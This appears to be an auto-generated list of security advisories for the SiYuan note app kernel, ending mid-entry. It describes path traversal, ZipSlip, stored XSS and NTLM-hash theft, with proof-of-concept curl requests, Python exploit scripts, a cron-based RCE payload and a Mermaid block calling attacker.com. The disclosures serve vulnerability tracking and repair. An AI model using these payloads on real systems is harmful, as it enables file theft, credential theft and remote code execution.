117 known bugs in github.com/siyuan-note/siyuan/kernel, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
| Severity | Affected | Fixed in | Title | Status | Source |
|---|---|---|---|---|---|
| high | any | \u2014 | SiYuan has an arbitrary file read via /api/template/render ### Summary
An arbitrary file read vulnerability exists in Siyuan's /api/template/render endpoint. The absence of proper validation on the path parameter allows attackers to access sensitive files on the host system.
### Impact
Arbitrary file read on the host | open | osv:GHSA-xx68-37v4-4596 |
| high | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering SiYuan configures Mermaid.js with `securityLevel: "loose"` and `htmlLabels: true`. In this mode, `<img>` tags with `src` attributes survive Mermaid's internal DOMPurify and land in SVG `<foreignObject>` blocks. The SVG is injected via `innerHTML` with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.
On Windows, a protocol-relative URL (`//attacker.com/image.png`) resolves as a UNC path (`\\attacker.com\image.png`). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.
## Root Cause
Mermaid initialization at `app/src/protyle/render/mermaidRender.ts` lines 28 and 33:
mermaid.initialize({
securityLevel: "loose",
flowchart: {
htmlLabels: true,
},
});
SVG injection at line 101:
renderElement.lastElementChild.innerHTML = mermaidData.svg;
No DOMPurify or other sanitization between the Mermaid output and DOM insertion.
Mermaid v11.12.0 in "loose" mode strips active JavaScript (`<script>`, `onerror`, `onload`) but explicitly allows `<img>` tags with `src` attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.
The Electron main process at `app/electron/main.js` line 78 sets `disable-web-security`, and lines 319+ set `webSecurity: false`, `nodeIntegration: true`, `contextIsolation: false` on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.
## Proof of Concept
Mermaid code block in a SiYuan note:
```mermaid
graph TD
A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
```
Rendered SVG output (verified with Mermaid CLI 11.12.0, `securityLevel: "loose"`, `htmlLabels: true`):
<foreignObject>
<div xmlns="http://www.w3.org/1999/xhtml">
<span class="nodeLabel">
<p><img src="//attacker.com/share/img.png" style="..."></p>
</span>
</div>
</foreignObject>
What was stripped by Mermaid's internal sanitizer (verified): `onerror`, `onload`, all event handler attributes, `<script>` tags, `file://` URLs.
What survived (verified): `<img src="http://...">`, `<img src="//...">`.
Attack steps:
1. Attacker creates a note or .sy export containing the Mermaid block above
2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)
3. Victim imports the notebook or opens the shared note
4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML
5. Electron fetches `//attacker.com/share/img.png`
On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.
On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.
## Impact
Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.
No configuration changes required. The `securityLevel: "loose"` setting is hardcoded in SiYuan's Mermaid initialization.
## Suggested Fix
Change Mermaid initialization to `securityLevel: "strict"`. If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip `<img>` tags or enforce a strict URI allowlist blocking external and protocol-relative URLs. | fixed | osv:GHSA-w95v-4h65-j455 |
| high | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS in Bazaar marketplace via package README event handlers ## Summary
`renderPackageREADME` in `kernel/bazaar/readme.go` renders a Bazaar package README from Markdown to HTML with the lute engine and `SetSanitize(true)`. The lute sanitizer is an event-handler blocklist: `allowAttr` rejects only attribute names present in a fixed `eventAttrs` map copied from the w3schools legacy handler list.
That map omits modern event handlers. `onpointerover`, `onpointerdown`, `onauxclick`, `onbeforetoggle`, `onfocusin`, `onanimationstart`, and `ontransitionend` are not in the list, so the sanitizer passes them through verbatim on any tag.
The frontend assigns the rendered HTML to `mdElement.innerHTML` in `app/src/config/bazaar.ts` with no client-side DOMPurify on this path, into a normal element in the main document (no iframe, no sandbox). The kernel sends no Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options header on any response, so an inline handler runs when its event fires.
The README is rendered when an Administrator opens a package in Settings → Marketplace, after the one-time marketplace trust consent. Install is not required.
Result: a third-party Bazaar package author runs JavaScript in the Administrator's authenticated SiYuan origin when the Administrator views and interacts with the package listing, and gains full control of the workspace.
## Affected
siyuan-note/siyuan, `<= 3.6.5` (latest release, 2026-04-21). Confirmed live-exploitable on the `b3log/siyuan:v3.6.5` image; identical code on `master` HEAD.
Condition: the Administrator has accepted the marketplace trust consent (`bazaar.trust`, default false) and browses community Bazaar packages. The lute dependency pin is `github.com/88250/lute v1.7.7-0.20260419134724-bb68012f231d`.
Both the online browse path (`getBazaarPackageREADME`) and the installed-package path (`getInstalledPlugin`) reach the same sink.
## Root cause
`render/sanitizer.go:225-232` (lute): `allowAttr(name)` returns false only when `name` exists in the `eventAttrs` map, an attribute denylist rather than an allowlist.
`render/sanitizer.go:235-334` (lute): `eventAttrs` is the w3schools handler list and contains no pointer, beforetoggle, focusin, animation, or transition handlers.
`kernel/bazaar/readme.go:108-118`: `renderPackageREADME` builds the engine with `SetSanitize(true)` and returns the HTML string to the caller.
`kernel/bazaar/readme.go:48-88`: `GetBazaarPackageREADME` renders an untrusted remote package README; `kernel/api/bazaar.go` exposes it at `/api/bazaar/getBazaarPackageREADME` (`router.go:423`, `CheckAuth`).
`app/src/config/bazaar.ts:600` and `:609`: `mdElement.innerHTML = data.preferredReadme` / `= response.data.html`, no DOMPurify, target is a plain div.
Kernel HTTP responses carry no CSP/X-Frame-Options/X-Content-Type-Options header (live-confirmed), so an inline handler is not blocked.
## Reproduction
`b3log/siyuan:v3.6.5` Docker, default config, access auth code set, marketplace trust accepted.
1. Place a package whose README carries a non-blocklisted handler (an online community package produces the identical render at browse time):
```
mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{"name":"evil-plugin","author":"x","version":"1.0.0","minAppVersion":"3.0.0",
"displayName":{"default":"Evil"},"description":{"default":"poc"},
"readme":{"default":"README.md"},"backends":["all"],"frontends":["all"]}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \
> workspace/data/plugins/evil-plugin/README.md
```
2. Request the rendered README the way the Marketplace panel does:
```
curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
-H "Authorization: Token <API-TOKEN>" -H "Content-Type: application/json" \
-d '{"frontend":"all","keyword":""}'
```
Response `data.packages[].preferredReadme` contains the handler verbatim:
```
<div onpointerover="alert(document.domain)">plugin description</div>
```
A control `<img src=x onerror=...>` in the same README is returned HTML-escaped and inert.
3. In Settings → Marketplace, open the package and move the pointer over its README.
Live-verified: the rendered HTML is assigned to `mdElement.innerHTML` (no CSP, no sandbox) and the `onpointerover` handler executes `alert(document.domain)` in the SiYuan origin on hover. Handlers do not auto-fire on insertion; one pointer/focus/click interaction on the listing triggers them.
## Impact
- JavaScript execution in the Administrator's authenticated origin on a marketplace package view plus one hover/click/focus, no install needed.
- Theft of the kernel API token (`conf.api.token`), which grants full Administrator API access.
- Pivot to `installBazaarPlugin` and kernel control; the runtime image ships a shell.
- A single malicious community package reaches every instance that views its listing.
## Credit
Jan Kahmen, [turingpoint](https://turingpoint.de) ([email protected]) | fixed | osv:GHSA-w7cg-whh7-xp28 |
| high | any | 3.6.40.0.0-20260407035653-2f416e5253f1 | SiYuan: Publish Reader Path Traversal Delete via `removeUnusedAttributeView` ## Summary
The endpoint `/api/av/removeUnusedAttributeView` is vulnerable to a **path traversal (CWE-22)** that allows an attacker to delete arbitrary `.json` files on the server.
The issue arises because user-controlled input (`id`) is directly used in filesystem path construction without validation or restriction.
> Access to this endpoint (e.g., via a Reader-role or publish context) is considered a precondition and not part of the vulnerability. The root cause is unsafe path handling.
---
## Steps To Reproduce
1. Ensure the target instance has the publish service enabled (or any valid access to the endpoint).
2. Send the following request:
```http
POST /api/av/removeUnusedAttributeView HTTP/1.1
Host: <target>
Content-Type: application/json
{
"id": "../../../conf/conf"
}
```
3. Observe that the request is accepted.
4. The server resolves the path outside the intended directory and deletes the target file.
---
## Impact
An attacker can delete arbitrary `.json` files within the workspace directory.
This may lead to:
* Deletion of global configuration files (e.g., `conf/conf.json`)
* Loss of user data and application state
* Corruption of workspace metadata
* Persistent application instability or forced recovery
This represents a **server-side arbitrary file deletion primitive**, which can have severe impact depending on the targeted files.
---
## Technical Details
The vulnerable code constructs file paths as follows:
```go
filepath.Join(util.DataDir, "storage", "av", id+".json")
```
Because `id` is not validated, attackers can inject path traversal sequences such as `../` to escape the intended directory.
### Example payloads
* `../local` → `data/storage/local.json`
* `../../storage/outline` → `data/storage/outline.json`
* `../../../conf/conf` → `conf/conf.json`
No validation or restriction is applied to:
* input format
* path normalization
* directory boundaries
---
## Root Cause
* Untrusted user input (`id`) is directly used in filesystem path construction
* No input validation or sanitization
* No enforcement that the resolved path stays within the intended directory
---
## Remediation
1. **Validate input strictly**
* Only allow valid Attribute View IDs
* Reject any input containing path traversal sequences
2. **Enforce directory boundaries**
```go
base := filepath.Join(util.DataDir, "storage", "av")
absPath := filepath.Join(base, id+".json")
if !util.IsSubPath(base, absPath) {
return error
}
```
3. **Normalize paths before use**
* Ensure canonical paths cannot escape the base directory
4. **Add additional logical checks**
* Verify that the target object is valid and allowed to be deleted
--- | fixed | osv:GHSA-vw86-c94w-v3x4 |
| high | any | \u2014 | SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write ### Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
### Details
File: kernel/api/import.go - functions importSY and importZipMd
```go
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
```
importZipMd has a second traversal in unzipPath construction:
```go
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
```
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```
**Exploit:**
```python
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
```
**RCE via cron (root container):**
```python
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
```
**Confirmed response on v3.6.0:** {"code":0,"msg":"","data":null}
### Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise | open | osv:GHSA-qvvf-q994-x79v |
| high | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file─read), Incomplete fix of CVE-2026-41894 ## Summary
The patch for CVE-2026-41894 ("Path Traversal via Double URL Encoding") sanitized the `/export/` route but the
**identical root cause remains in the `/assets/*path` route**. In publish mode (anonymous read-only HTTP endpoint,
default port 6808), an unauthenticated remote attacker can read arbitrary files inside `WorkspaceDir` — including
`conf/conf.json` (which contains the `AccessAuthCode` SHA256 hash, API token, and sync keys), `temp/siyuan.db`,
`temp/blocktree.db`, and `siyuan.log` — by double-URL-encoding `..` segments.
Verified against siyuan v3.6.5:
- `GET /assets/%252e%252e/%252e%252e/conf/conf.json` → **HTTP 200, 10349 bytes (conf.json served)**
- `GET /export/%252e%252e/%252e%252e/conf/conf.json` → HTTP 401 (patched)
- `GET /assets/%2e%2e/conf/conf.json` → HTTP 404 (single-decode handled correctly)
## Vulnerable Code
**Step 1 — route & first decode** (`kernel/server/serve.go:587-626`):
The router registers `GET /assets/*path` for the publish listener. Gin performs one URL decoding pass on `URL.Path`,
so a request for `/assets/%252e%252e/...` yields `context.Param("path") == "/%2e%2e/%2e%2e/conf/conf.json"` — literal
`%2e%2e` strings, which `path.Clean` cannot collapse.
**Step 2 — second decode via fallback** (`kernel/model/assets.go:536-563`, `GetAssetAbsPath`):
```go
p, err := getAssetAbsPath(relativePath)
if nil != err {
// fallback
decoded, e := url.PathUnescape(relativePath) // ← line 548, second decode
if nil == e {
p, err = getAssetAbsPath(decoded)
}
}
```
After the fallback decodes `%2e%2e` to `..`, `filepath.Join(DataDir, "../../conf/conf.json")` is `Clean`-ed to
`WorkspaceDir/conf/conf.json`, an existing file.
**Step 3 — publish-mode access gate fall-through** (`kernel/model/publish_access.go:288`,
`CheckAbsPathAccessableByPublishAccess`):
```go
if !filelock.IsSubPath(util.DataDir, absPath) {
return true // ← fall-through allows anything outside DataDir but inside WorkspaceDir
}
```
Because the resolved file is *outside* `DataDir` (it's in `WorkspaceDir`), the gate returns `true` and
`IsSensitivePath()` is never invoked — `.db` / `.log` / `conf/` denylists do not apply to the `/assets/` route at all
(unlike the patched `/export/` route, which additionally checks `IsSubPath(exportBaseDir, ...)`).
**Step 4 — file served** (`http.ServeFile`): the request `URL.Path` contains literal `%2e%2e`, not `..`, so Go's
`containsDotDot` guard passes and the file is sent.
## PoC
Preconditions: siyuan kernel running with publish mode enabled (`conf.publish.enable = true`). Publish mode is the
documented anonymous read-only endpoint for sharing notebooks.
```
$ curl -i "http://victim:6808/assets/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 200 OK
Content-Length: 10349
Content-Type: application/json
...
{"appearance":{...},"editor":{...},"system":{...},"accessAuthCode":"<sha256>","api":{"token":"<api token>"}, ...}
```
Compared with the patched route:
```
$ curl -i "http://victim:6808/export/%252e%252e/%252e%252e/conf/conf.json"
HTTP/1.1 401 Unauthorized
```
## Root Cause
Three independent flaws combine:
1. `GetAssetAbsPath` performs a second `url.PathUnescape` as a "compatibility" fallback, re-introducing the
double-decode primitive that the CVE-2026-41894 patch eliminated on `/export/`.
2. `CheckAbsPathAccessableByPublishAccess` returns `true` for any path outside `DataDir`, even when that path is still
inside `WorkspaceDir` (which contains `conf/conf.json`, `temp/*.db`, `siyuan.log`).
3. The `IsSensitivePath()` denylist applied to `/export/` is not called from the `/assets/` handler.
## Impact
Unauthenticated remote arbitrary file read inside `WorkspaceDir`. Confirmed-readable files include:
- `conf/conf.json` — `accessAuthCode` SHA256 (offline crackable), API token, S3/WebDAV sync credentials.
- `temp/siyuan.db`, `temp/blocktree.db`, `temp/asset_content.db` — full notebook content (SQLite).
- `siyuan.log` — internal paths, OS username, plugin info.
Compromise of `accessAuthCode` / API token escalates to authenticated kernel API access (full read/write of all
notebooks). Compromise of sync credentials escalates beyond the host.
## Fix
1. Remove the `url.PathUnescape` fallback in `GetAssetAbsPath` (assets.go:548), matching the `/export/` patch.
2. In `CheckAbsPathAccessableByPublishAccess`, replace the `IsSubPath(DataDir, ...)` fall-through with an explicit
allowlist (only `DataDir` and its publishable subtree) and **always** call `IsSensitivePath()`.
3. Apply `IsSensitivePath()` inside the `/assets/*path` handler in `serve.go` as defense-in-depth.
## Status
Privately reported via GitHub Security Advisory. PoC reproduced locally against v3.6.5 (publish port 6808): `GET
/assets/%252e%252e/%252e%252e/conf/conf.json` returned HTTP 200 / 10349 bytes. | fixed | osv:GHSA-p4m3-mgmm-c664 |
| high | any | 3.6.5 | SiYuan: Path Traversal via Double URL Encoding in `/export/` Endpoint (Incomplete Fix Bypass for CVE-2026-30869) ### Summary
The fix for CVE-2026-30869 in SiYuan v3.5.10 only added a denylist check (`IsSensitivePath`) but did not address the root cause — a redundant `url.PathUnescape()` call in `serveExport()`. An authenticated attacker can use double URL encoding (`%252e%252e`) to traverse directories and read arbitrary workspace files including the full SQLite database (`siyuan.db`), kernel log, and all user documents.
### Details
In `kernel/server/serve.go`, the `serveExport()` function (line 314-320) processes file paths as follows:
```go
filePath := strings.TrimPrefix(c.Request.URL.Path, "/export/")
decodedPath, err := url.PathUnescape(filePath) // second decode
fullPath := filepath.Join(exportBaseDir, decodedPath)
```
Go's HTTP server already decodes percent-encoded characters once during request parsing. The additional `url.PathUnescape()` call creates a double-decode vulnerability:
1. Attacker sends: `GET /export/%252e%252e/siyuan.db`
2. Go HTTP decodes `%25` → `%`, result: `URL.Path = /export/%2e%2e/siyuan.db`
3. Go's path cleaner sees `%2e%2e` as literal characters (not `..`), no redirect occurs
4. `url.PathUnescape("%2e%2e")` decodes to `..`
5. `filepath.Join(exportBaseDir, "../siyuan.db")` resolves to `<workspace>/temp/siyuan.db`
The CVE-2026-30869 fix added `IsSensitivePath()` which blocks `<workspace>/conf/` and OS-level paths (`/etc`, `/root`, etc.). However, it does NOT block:
- `<workspace>/temp/siyuan.db` — full document database
- `<workspace>/temp/blocktree.db` — block tree database
- `<workspace>/temp/siyuan.log` — kernel log
- `<workspace>/temp/asset_content.db` — asset content database
Note: the `/appearance/` handler in the same file correctly uses `gulu.File.IsSubPath()` to validate paths (line 447), but this check is missing from the `/export/` handler.
### PoC
[poc.zip](https://github.com/user-attachments/files/26866234/poc.zip)
Please extract the uploaded compressed file before proceeding
1. docker compose up -d --build
2. sh poc.sh
<img width="550" height="184" alt="스크린샷 2026-04-19 오후 5 08 30" src="https://github.com/user-attachments/assets/6aea4334-0b5a-4f45-bd1f-ecfad61ba524" />
### Impact
- Data exfiltration: An authenticated user (including low-privilege Publish/Reader users via the Publish service) can download the entire SQLite document database containing all blocks, documents, attributes, and full-text search indexes.
- Information disclosure: Kernel log (`siyuan.log`) leaks internal server paths, versions, configuration details, and error messages. | fixed | osv:GHSA-hjh7-r5w8-5872 |
| high | any | \u2014 | Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal ## Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
## Details
Vulnerable Code Location
**File: kernel/server/serve.go**
``` sh
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
```
**Technical Root Cause**
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
**Key issues:**
**1. Unsanitized User Input**
The path component extracted from the request is not validated or normalized to prevent traversal.
``` sh
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
```
This preserves sequences such as:
``` sh
../
..\ (Windows)
```
**2. Unsafe Path Joining**
**_filepath.Join()_** does not enforce directory confinement.
This escapes the intended directory.
**3. Direct File Serving**
The resolved path is served without verification:
``` sh
c.File(filePath)
```
### Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
**File: session.go**
``` sh
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}
```
This allows attackers to access the vulnerable endpoint without a session or token.
### Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
```
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
```
Because authentication is bypassed, the attack requires no credentials.
## PoC
**Step 1 — Create marker file**
```
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
```
**Step 2 — Run SiYuan container**
```
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
```
**Step 3 — Confirm service works**
Open in browser:
``` sh
http://127.0.0.1:6806
```
### Exploit PoC
**Method A — using CURL command**
Use --path-as-is so curl does NOT normalize ../.
``` sh
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
```
**Output**
``` sh
HTTP/1.1 200 OK
POC_EXPLOITED
```
**Method B — Using Browser**
``` sh
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
```
If **method B** is not working, use **method A**, which is CURL command to do the exploit
### Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets | open | osv:GHSA-hhgj-gg9h-rjp7 |
| high | any | \u2014 | SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE ### Summary
Function [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.
### Details
An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.
### PoC
Code used to generate the ZipSlip:
```python
#!/usr/bin/env python3
import sys, base64, zipfile, io, time
def prepare_zipslip(filename):
orgfile1 = open('Test.md','rb').read()
payload = open('entrypoint.sh','rb').read() #b"testpayload"
zipslip = io.BytesIO()
with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
info = zipfile.ZipInfo('Test.md')
mtime = time.time()
t = time.localtime(mtime)
info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
zipf.writestr(info, orgfile1)
info = zipfile.ZipInfo(filename)
mtime = time.time()
t = time.localtime(mtime)
info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
zipf.writestr(info, payload)
return zipslip.getvalue()
gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)
```
### Impact
The exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container | open | osv:GHSA-gqfv-g4v7-m366 |
| high | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs ### Summary
SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs
`POST /api/graph/getGraph`, `POST /api/graph/getLocalGraph`, `POST /api/sync/setSyncInterval`, `POST /api/storage/updateRecentDocViewTime`, `POST /api/storage/updateRecentDocCloseTime`, `POST /api/storage/updateRecentDocOpenTime`, `POST /api/storage/batchUpdateRecentDocCloseTime`, and `POST /api/search/updateEmbedBlock` are registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`. Each of them writes server-side state, including atomic rewrites of `<workspace>/conf/conf.json` via `model.Conf.Save()`. Any caller whose JWT passes `CheckAuth`, including a publish-service `RoleReader` (the role assigned to anonymous publish visitors) and a `RoleEditor` against a workspace where `Editor.ReadOnly = true`, can hit them. This is the same root-cause class as the patched `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.
### Details
Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD `96dfe0be`).
The router in `kernel/api/router.go` registers each endpoint below with `model.CheckAuth` only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:
```bash
kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only
kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only
kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only
kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only
kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only
kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only
kernel/api/router.go:400 /api/graph/getGraph CheckAuth only
kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only
# Compare the gated siblings on adjacent lines:
kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly
```
Per-handler evidence:
`kernel/api/graph.go:53` `getGraph`. Despite the verb "get", the body unconditionally overwrites `model.Conf.Graph.Global` from caller-supplied JSON and persists the entire workspace `conf.json`:
```
graphConf, err := gulu.JSON.MarshalJSON(confArg)
...
global := conf.NewGlobalGraph()
gulu.JSON.UnmarshalJSON(graphConf, global)
model.Conf.Graph.Global = global // attacker-controlled write
model.Conf.Save() // atomic rewrite of conf.json
```
`kernel/api/graph.go:106` `getLocalGraph`. Same pattern on `model.Conf.Graph.Local`. Note the legitimate writers `resetGraph` (`graph.go:29`) and `resetLocalGraph` (`graph.go:41`) only set the struct to its constructor default (`NewGlobalGraph()` / `NewLocalGraph()`), whereas `getGraph` / `getLocalGraph` accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.
`kernel/api/sync.go:597` `setSyncInterval`. Calls `model.SetSyncInterval(int(interval))` (`kernel/model/sync.go:394`) which writes `Conf.Sync.Interval`, persists `Conf.Save()`, and reschedules the sync goroutine via `planSyncAfter`. The model layer clamps the interval to `[30, 43200]`, but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).
`kernel/api/search.go:287` `updateEmbedBlock`. Calls `model.UpdateEmbedBlock(id, content)` (`kernel/model/search.go:198`), which validates only that the block type is `BlockQueryEmbed` and then forwards to `updateEmbedBlockContent` (`kernel/model/index.go:342`). That helper rewrites the SQL `blocks` row's `content` column for the given embed-block ID via `sql.UpdateBlockContentQueue`. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL `content` column is what `fullTextSearchBlock` and `getEmbedBlock` read from, so a Reader can poison search results visible to other users.
`kernel/api/storage.go:251,295,273,317` `updateRecentDocViewTime` / `updateRecentDocCloseTime` / `updateRecentDocOpenTime` / `batchUpdateRecentDocCloseTime`. Each rewrites the workspace recent-docs JSON file under `recentDocLock` (`kernel/model/storage.go:171,213` ...). A Reader can register any `rootID` (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history.
The bugs have all existed since v3.6.5 (the active release tag) and the live `master` branch. Two adjacent advisories already patched the exact same shape: `GHSA-6r88-8v7q-q4p2` (`getTag` writing `Conf.Tag.Sort`) and `GHSA-4j3x-hhg2-fm2x` (`renderSprig` missing `CheckAdminRole + CheckReadonly`). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.
### PoC
Source-level reproduction. The same Docker compose lab the maintainers used for `GHSA-6r88` works here:
```bash
# 1. Authenticate as any role with CheckAuth (admin used here for convenience;
# a publish-mode Reader JWT works equivalently).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])"
# 3. setSyncInterval as Reader.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \
-H 'Content-Type: application/json' -d '{"interval":30}'
# 4. getGraph as Reader, supplying a custom graph config struct.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \
-H 'Content-Type: application/json' \
-d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}'
# 5. Confirm in-memory and on-disk persistence.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
